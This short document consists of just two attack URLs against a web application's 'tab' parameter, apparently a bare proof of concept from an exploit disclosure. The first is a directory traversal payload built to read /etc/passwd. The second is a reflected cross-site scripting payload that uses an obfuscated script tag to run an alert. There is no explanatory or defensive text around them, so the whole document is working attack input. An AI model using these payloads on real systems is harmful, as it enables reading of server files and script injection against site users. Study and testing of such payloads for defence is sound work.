http://www.example.com/apps/mts/mts/?tab=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
http://www.example.com/apps/mts/mts/?tab=>'><ScRiPt%20%0a%0d>alert("JosS")%3B</ScRiPt>